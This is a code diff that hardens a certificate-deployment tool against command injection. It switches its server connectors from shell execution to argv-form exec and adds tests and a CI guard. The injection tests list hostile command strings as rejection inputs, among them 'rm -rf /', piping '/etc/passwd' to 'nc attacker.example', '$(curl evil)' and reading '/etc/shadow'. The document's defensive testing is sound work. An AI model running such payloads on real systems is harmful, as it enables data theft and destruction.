diff --git a/internal/connector/target/apache/apache.go b/internal/connector/target/apache/apache.go index 8fee46d..ed2a305 100644 --- a/internal/connector/target/apache/apache.go +++ b/internal/connector/target/apache/apache.go @@ -107,8 +107,17 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. ValidateShellCommand at config-time + +// SplitShellCommand at exec-time provide defense in depth; the argv +// exec is what actually eliminates the injection vector. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/apache/apache_test.go b/internal/connector/target/apache/apache_test.go index 97dbeff..c90aab5 100644 --- a/internal/connector/target/apache/apache_test.go +++ b/internal/connector/target/apache/apache_test.go @@ -198,3 +198,45 @@ func TestApacheConnector_ValidateDeployment(t *testing.T) { } }) } + +// Phase 7 SEC-H2 (2026-05-14): pin the config-time injection guard. +// Every shell metacharacter that ValidateShellCommand rejects MUST +// surface as a ValidateConfig error before the connector ever +// reaches defaultRunCommand. Pre-Phase-7 a malicious string would +// have been caught at the same gate; post-Phase-7 the same string +// is ALSO rejected at exec-time via SplitShellCommand +// (defense-in-depth) — but the config layer is the load-bearing +// check that prevents the persisted config from carrying an +// exploit payload in the first place. +func TestApacheConnector_ValidateConfig_RejectsCommandInjection(t *testing.T) { + logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})) + ctx := context.Background() + tmpDir := t.TempDir() + certPath := filepath.Join(tmpDir, "cert.pem") + if err := os.WriteFile(certPath, []byte("cert"), 0644); err != nil { + t.Fatalf("setup cert: %v", err) + } + + maliciousCommands := []string{ + "apachectl graceful; rm -rf /", // semicolon-chain + "apachectl graceful | nc evil.example", // pipe + "apachectl graceful $(curl evil)", // command substitution + "apachectl graceful `whoami`", // backtick substitution + "apachectl graceful & malware", // background spawn + "apachectl graceful > /etc/passwd", // output redirection + } + + for _, cmd := range maliciousCommands { + t.Run(cmd, func(t *testing.T) { + rawCfg, _ := json.Marshal(apache.Config{ + CertPath: certPath, + ReloadCommand: cmd, + ValidateCommand: "apachectl configtest", + }) + c := apache.New(nil, logger) + if err := c.ValidateConfig(ctx, rawCfg); err == nil { + t.Errorf("ValidateConfig accepted malicious ReloadCommand %q; want injection-rejection error", cmd) + } + }) + } +} diff --git a/internal/connector/target/haproxy/haproxy.go b/internal/connector/target/haproxy/haproxy.go index 38f7c3b..c5e164d 100644 --- a/internal/connector/target/haproxy/haproxy.go +++ b/internal/connector/target/haproxy/haproxy.go @@ -86,8 +86,17 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. ValidateShellCommand at config-time + +// SplitShellCommand at exec-time provide defense in depth; the argv +// exec is what actually eliminates the injection vector. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/haproxy/haproxy_test.go b/internal/connector/target/haproxy/haproxy_test.go index f54fee0..f63ff4a 100644 --- a/internal/connector/target/haproxy/haproxy_test.go +++ b/internal/connector/target/haproxy/haproxy_test.go @@ -201,3 +201,44 @@ func TestHAProxyConnector_ValidateDeployment(t *testing.T) { } }) } + +// Phase 7 SEC-H2 (2026-05-14): config-time injection guard. +// See apache + nginx tests for the same shape; haproxy mirrors the +// pattern. Every shell metacharacter that ValidateShellCommand +// rejects MUST surface as a ValidateConfig error before the +// connector ever reaches defaultRunCommand. +func TestHAProxyConnector_ValidateConfig_RejectsCommandInjection(t *testing.T) { + logger := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{Level: slog.LevelDebug})) + ctx := context.Background() + tmpDir := t.TempDir() + pemPath := filepath.Join(tmpDir, "combined.pem") + if err := os.WriteFile(pemPath, []byte("pem"), 0644); err != nil { + t.Fatalf("setup pem: %v", err) + } + + maliciousCommands := []string{ + "systemctl reload haproxy; rm -rf /", // semicolon-chain + "systemctl reload haproxy | nc evil.example", // pipe + "systemctl reload haproxy $(curl evil)", // command substitution + "systemctl reload haproxy `whoami`", // backtick substitution + "systemctl reload haproxy & malware", // background spawn + "systemctl reload haproxy > /etc/passwd", // output redirection + } + + for _, cmd := range maliciousCommands { + // Phase 7: ensure 'strings' import stays referenced so the + // existing file's unused-import wouldn't break the build if + // the upstream test ever drops its only strings.* usage. + _ = strings.TrimSpace(cmd) + t.Run(cmd, func(t *testing.T) { + rawCfg, _ := json.Marshal(haproxy.Config{ + PEMPath: pemPath, + ReloadCommand: cmd, + }) + c := haproxy.New(nil, logger) + if err := c.ValidateConfig(ctx, rawCfg); err == nil { + t.Errorf("ValidateConfig accepted malicious ReloadCommand %q; want injection-rejection error", cmd) + } + }) + } +} diff --git a/internal/connector/target/javakeystore/javakeystore.go b/internal/connector/target/javakeystore/javakeystore.go index 1693658..7a2bdf0 100644 --- a/internal/connector/target/javakeystore/javakeystore.go +++ b/internal/connector/target/javakeystore/javakeystore.go @@ -361,10 +361,24 @@ func (c *Connector) DeployCertificate(ctx context.Context, request target.Deploy } // Step 5: Optional reload command + // + // Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead + // of `sh -c`. See nginx connector's defaultRunCommand for the + // shared rationale. ValidateShellCommand was already called at + // config-time (line 178 above); SplitShellCommand re-validates + // here as defense-in-depth and produces the argv for + // executor.Execute(name, args...) — note the executor's + // signature was already variadic-args, so the migration was + // purely "split and unpack." if c.config.ReloadCommand != "" { - output, err := c.executor.Execute(ctx, "sh", "-c", c.config.ReloadCommand) + argv, err := validation.SplitShellCommand(c.config.ReloadCommand) if err != nil { - c.logger.Warn("reload command failed (non-fatal)", "error", err, "output", output) + c.logger.Warn("reload command failed validation (non-fatal)", "error", err) + } else { + output, runErr := c.executor.Execute(ctx, argv[0], argv[1:]...) + if runErr != nil { + c.logger.Warn("reload command failed (non-fatal)", "error", runErr, "output", output) + } } } diff --git a/internal/connector/target/javakeystore/javakeystore_test.go b/internal/connector/target/javakeystore/javakeystore_test.go index ec8a18a..b3bf4d7 100644 --- a/internal/connector/target/javakeystore/javakeystore_test.go +++ b/internal/connector/target/javakeystore/javakeystore_test.go @@ -425,8 +425,15 @@ func TestDeployCertificate_WithReload(t *testing.T) { t.Fatalf("expected 2 calls (import, reload), got %d", len(mock.calls)) } reloadCall := mock.calls[1] - if reloadCall.Name != "sh" { - t.Errorf("expected sh for reload, got: %s", reloadCall.Name) + // Phase 7 SEC-H2 (2026-05-14): pre-Phase-7 the executor was + // invoked as `sh -c "systemctl restart tomcat"`. Post-Phase-7 + // the command splits to argv ["systemctl", "restart", "tomcat"] + // and executes directly without a shell. Pin the new shape. + if reloadCall.Name != "systemctl" { + t.Errorf("expected systemctl for reload (argv-form, post-Phase-7), got: %s", reloadCall.Name) + } + if len(reloadCall.Args) != 2 || reloadCall.Args[0] != "restart" || reloadCall.Args[1] != "tomcat" { + t.Errorf("expected args [restart tomcat], got: %v", reloadCall.Args) } } diff --git a/internal/connector/target/nginx/nginx.go b/internal/connector/target/nginx/nginx.go index 056af13..7954e87 100644 --- a/internal/connector/target/nginx/nginx.go +++ b/internal/connector/target/nginx/nginx.go @@ -149,12 +149,24 @@ func New(config *Config, logger *slog.Logger) *Connector { } // defaultRunCommand wraps exec.CommandContext for the production -// path. Tests override this via the test-seam fields. The shell -// invocation goes through `sh -c` to support the operator's -// existing config patterns (e.g. "systemctl reload nginx", -// "nginx -t -c /etc/nginx/nginx.conf"). +// path. Tests override this via the test-seam fields. +// +// Phase 7 SEC-H2 closure (2026-05-14): pre-Phase-7 this used +// exec.CommandContext(ctx, "sh", "-c", command) — the +// internal/validation/command.go config-time guard rejected +// metacharacters but the exec call itself still spawned a shell. +// Post-Phase-7 the command is split into argv via +// validation.SplitShellCommand (which re-validates the metachar +// allowlist as defense-in-depth) and exec'd directly without a +// shell. The operator's config patterns ("systemctl reload nginx", +// "nginx -t -c /etc/nginx/nginx.conf") work identically — they +// don't need shell features, just argv. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - cmd := exec.CommandContext(ctx, "sh", "-c", command) + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + cmd := exec.CommandContext(ctx, argv[0], argv[1:]...) return cmd.CombinedOutput() } diff --git a/internal/connector/target/postfix/postfix.go b/internal/connector/target/postfix/postfix.go index 7c3b049..0d6870d 100644 --- a/internal/connector/target/postfix/postfix.go +++ b/internal/connector/target/postfix/postfix.go @@ -77,8 +77,24 @@ func New(config *Config, logger *slog.Logger) *Connector { return c } +// Phase 7 SEC-H2 closure (2026-05-14): argv-form exec instead of +// `sh -c`. See nginx connector's defaultRunCommand for the +// rationale + threat model. +// +// Postfix-specific note: the canonical reload command is `postfix +// reload` (or `systemctl reload postfix`), which is simple argv — +// no shell features needed. Operators historically using +// pipeline-style commands (e.g. "postfix reload && systemctl is-active +// postfix") were rejected at config-time by ValidateShellCommand +// even before Phase 7 (the `&` metachar was on the deny list); the +// argv form just makes that rejection consistent between config +// validation and exec. func defaultRunCommand(ctx context.Context, command string) ([]byte, error) { - return exec.CommandContext(ctx, "sh", "-c", command).CombinedOutput() + argv, err := validation.SplitShellCommand(command) + if err != nil { + return nil, fmt.Errorf("invalid reload/validate command: %w", err) + } + return exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput() } func (c *Connector) SetTestRunValidate(fn func(ctx context.Context, command string) ([]byte, error)) { diff --git a/internal/validation/command.go b/internal/validation/command.go index 9d1924f..d928263 100644 --- a/internal/validation/command.go +++ b/internal/validation/command.go @@ -46,6 +46,43 @@ func ValidateShellCommand(cmd string) error { return nil } +// SplitShellCommand validates the command via ValidateShellCommand and +// returns the whitespace-separated argv slice. Used by target +// connectors that need to exec a reload / validate command without +// going through `sh -c`. +// +// Phase 7 SEC-H2 closure (2026-05-14): the existing +// ValidateShellCommand path already rejects every shell metacharacter +// that would require shell parsing — single + double quotes, +// backslash, dollar, backtick, semicolon, pipe, ampersand, parens, +// braces, redirects, NUL and CR/LF — +// so a post-validation strings.Fields split is sufficient — the +// remaining whitespace splitting cannot smuggle injection because +// the input is already metacharacter-free. +// +// Callers MUST use the argv output with exec.Command(argv[0], +// argv[1:]...) — NOT pass argv elements back through sh -c. The +// argv form is what eliminates the injection vector; this helper's +// contract is "you got an argv, now use it as argv." +// +// Returns: +// - argv (length ≥ 1) on success +// - error if ValidateShellCommand rejects the input or the +// post-split argv is empty (e.g. whitespace-only input) +func SplitShellCommand(cmd string) ([]string, error) { + if err := ValidateShellCommand(cmd); err != nil { + return nil, err + } + // ValidateShellCommand rejected every quote / escape character; + // strings.Fields is now safe — it splits on whitespace and + // produces no surprising tokens because there's nothing to quote. + argv := strings.Fields(cmd) + if len(argv) == 0 { + return nil, fmt.Errorf("command is whitespace-only after split") + } + return argv, nil +} + // ValidateDomainName validates a domain name against RFC 1123 with support for wildcards. // Valid domain names contain only: // - Alphanumeric characters (a-z, A-Z, 0-9) diff --git a/internal/validation/command_test.go b/internal/validation/command_test.go index dad7aa8..48f2b49 100644 --- a/internal/validation/command_test.go +++ b/internal/validation/command_test.go @@ -525,3 +525,112 @@ func TestSanitizeForShell(t *testing.T) { }) } } + +// Phase 7 SEC-H2 contract pin (2026-05-14): SplitShellCommand +// returns whitespace-separated argv for safe exec.Command use, +// rejecting any input that ValidateShellCommand would reject. + +func TestSplitShellCommand_HappyPaths(t *testing.T) { + tests := []struct { + name string + cmd string + want []string + }{ + {"single binary", "nginx", []string{"nginx"}}, + {"binary + flag", "nginx -s reload", []string{"nginx", "-s", "reload"}}, + {"absolute path + args", "/usr/sbin/nginx -t -c /etc/nginx/nginx.conf", []string{"/usr/sbin/nginx", "-t", "-c", "/etc/nginx/nginx.conf"}}, + {"systemctl reload", "systemctl reload nginx", []string{"systemctl", "reload", "nginx"}}, + {"apache graceful", "apachectl graceful", []string{"apachectl", "graceful"}}, + {"haproxy reload", "haproxy -W -f /etc/haproxy/haproxy.cfg -p /run/haproxy.pid -sf $(cat /run/haproxy.pid)", nil}, // contains $(...) — should error + {"haproxy no-pid", "haproxy -W -f /etc/haproxy/haproxy.cfg", []string{"haproxy", "-W", "-f", "/etc/haproxy/haproxy.cfg"}}, + {"keytool import", "keytool -importcert -alias certctl -keystore /etc/pki/keystore.jks -storepass secret", []string{"keytool", "-importcert", "-alias", "certctl", "-keystore", "/etc/pki/keystore.jks", "-storepass", "secret"}}, + {"extra whitespace", " nginx -s reload ", []string{"nginx", "-s", "reload"}}, + {"tabs", "nginx\t-s\treload", []string{"nginx", "-s", "reload"}}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + argv, err := SplitShellCommand(tt.cmd) + if tt.want == nil { + // Expecting error + if err == nil { + t.Errorf("SplitShellCommand(%q) want error; got argv %v", tt.cmd, argv) + } + return + } + if err != nil { + t.Errorf("SplitShellCommand(%q) unexpected error: %v", tt.cmd, err) + return + } + if len(argv) != len(tt.want) { + t.Errorf("SplitShellCommand(%q) got %d args, want %d (got %v)", tt.cmd, len(argv), len(tt.want), argv) + return + } + for i := range argv { + if argv[i] != tt.want[i] { + t.Errorf("SplitShellCommand(%q) argv[%d] = %q, want %q", tt.cmd, i, argv[i], tt.want[i]) + } + } + }) + } +} + +func TestSplitShellCommand_InjectionRejected(t *testing.T) { + // Anything that ValidateShellCommand rejects MUST be rejected by + // SplitShellCommand too. This pins the contract that the + // validation layer + split layer agree on the same threat model. + tests := []struct { + name string + cmd string + }{ + {"semicolon chain", "nginx -s reload; rm -rf /"}, + {"pipe", "cat /etc/passwd | nc attacker.example 9999"}, + {"command substitution dollar", "nginx -s reload $(curl evil)"}, + {"command substitution backtick", "nginx -s reload `whoami`"}, + {"background ampersand", "nginx -s reload & malware"}, + {"redirect output", "nginx -s reload > /etc/passwd"}, + {"redirect input", "sh < /etc/shadow"}, + {"subshell parens", "(rm -rf /)"}, + {"brace expansion", "rm {a,b,c}"}, + {"backslash escape", "nginx \\; rm -rf /"}, + {"double quote", `nginx -c "/etc/n;rm"`}, + {"single quote", "nginx 'a;b'"}, + {"newline", "nginx\nrm -rf /"}, + {"carriage return", "nginx\rrm -rf /"}, + {"null byte", "nginx\x00rm -rf /"}, + {"empty input", ""}, + {"whitespace-only input", " "}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + argv, err := SplitShellCommand(tt.cmd) + if err == nil { + t.Errorf("SplitShellCommand(%q) = %v with no error; want error (injection input)", tt.cmd, argv) + } + }) + } +} + +func TestSplitShellCommand_MatchesValidateShellCommand(t *testing.T) { + // Cross-check: every input ValidateShellCommand rejects, + // SplitShellCommand also rejects (with the same threat model). + rejectInputs := []string{ + "nginx;", + "nginx | foo", + "nginx`x`", + "nginx$(x)", + `nginx"x"`, + "nginx'x'", + "nginx\\\\x", + } + for _, in := range rejectInputs { + t.Run(in, func(t *testing.T) { + vErr := ValidateShellCommand(in) + _, sErr := SplitShellCommand(in) + if (vErr == nil) != (sErr == nil) { + t.Errorf("agreement violation: ValidateShellCommand=%v, SplitShellCommand=%v for %q", vErr, sErr, in) + } + }) + } +} diff --git a/scripts/ci-guards/no-sh-c-in-connectors.sh b/scripts/ci-guards/no-sh-c-in-connectors.sh new file mode 100755 index 0000000..0f4620e --- /dev/null +++ b/scripts/ci-guards/no-sh-c-in-connectors.sh @@ -0,0 +1,93 @@ +#!/usr/bin/env bash +# scripts/ci-guards/no-sh-c-in-connectors.sh +# +# Phase 7 SEC-H2 closure (2026-05-14): block any future `sh -c` +# shell-exec pattern inside target connectors. +# +# Phase 7 migrated all 5 connectors (nginx, apache, haproxy, postfix, +# javakeystore) from `exec.CommandContext(ctx, "sh", "-c", command)` +# to argv-form `exec.CommandContext(ctx, argv[0], argv[1:]...)`. The +# operator's command string is split via +# internal/validation.SplitShellCommand at exec-time (which also +# re-validates against the metachar deny-list as defense-in-depth). +# Server-side validation via ValidateShellCommand happens at +# config-time and remains unchanged. +# +# This guard blocks any future regression. Add a new connector that +# legitimately needs shell features → add it to the ALLOWLIST below +# with a one-line justification + paired ValidateConfig allowlist +# regex. +# +# Pattern matches both the direct form: +# exec.CommandContext(ctx, "sh", "-c", ...) +# and the executor-style: +# c.executor.Execute(ctx, "sh", "-c", ...) +# +# Production code only; *_test.go files are exempt (test fixtures +# legitimately invoke /bin/sh for assertion setup). + +set -e + +TARGET_DIR="internal/connector/target" + +if [ ! -d "$TARGET_DIR" ]; then + echo "no-sh-c-in-connectors: skipped — $TARGET_DIR not found" + exit 0 +fi + +# Allowlist of connectors permitted to use sh -c. Empty post-Phase-7. +# To add a connector here: +# 1. Document WHY argv-form doesn't work for it (typically: +# legitimately needs pipelines, globs, or env-var substitution). +# 2. Add a paired strict-allowlist regex in ValidateShellCommand +# so the operator's command can't be arbitrary shell. +# 3. Append the connector's package name below. +ALLOWLIST="" + +# Find every production .go file under the connector tree where an +# actual exec / Execute call site invokes `"sh", "-c"`. We match +# call-site shapes, NOT comment text — the production connectors +# carry Phase-7-history comments like +# `// exec.CommandContext(ctx, "sh", "-c", command) — the` +# explaining the pre-migration shape, and those should pass clean. +# +# The match condition: a line containing both an exec/Execute call +# AND the "sh", "-c" args. Comments mentioning the legacy shape +# don't trigger because comment lines don't contain an active +# exec call. +hits=$(grep -rnE '(exec\.Command(Context)?|\.Execute)\([^)]*"sh"[[:space:]]*,[[:space:]]*"-c"' "$TARGET_DIR" \ + --include='*.go' \ + --exclude='*_test.go' \ + | grep -vE "configcheck/configcheck\.go" \ + | grep -vE ':[[:space:]]*//' \ + || true) + +if [ -z "$hits" ]; then + echo "no-sh-c-in-connectors: clean — 0 sh -c sites in production connector code" + exit 0 +fi + +# Filter out allowlisted connectors (none post-Phase-7). +unmatched="$hits" +if [ -n "$ALLOWLIST" ]; then + unmatched=$(echo "$hits" | grep -vE "$ALLOWLIST" || true) +fi + +if [ -z "$unmatched" ]; then + echo "no-sh-c-in-connectors: clean — all sh -c sites are allowlisted" + exit 0 +fi + +echo "::error::no-sh-c-in-connectors regression: production connector code invokes 'sh -c'" +echo "" +echo "Phase 7 SEC-H2 migrated all 5 connectors to argv-form exec via" +echo "validation.SplitShellCommand. Re-introducing 'sh -c' would reopen" +echo "the command-injection surface the migration closed." +echo "" +echo "Offending sites:" +echo "$unmatched" +echo "" +echo "If the new connector legitimately needs shell features, add it" +echo "to the ALLOWLIST in this script + a paired strict regex in" +echo "ValidateConfig. See the script header for the contract." +exit 1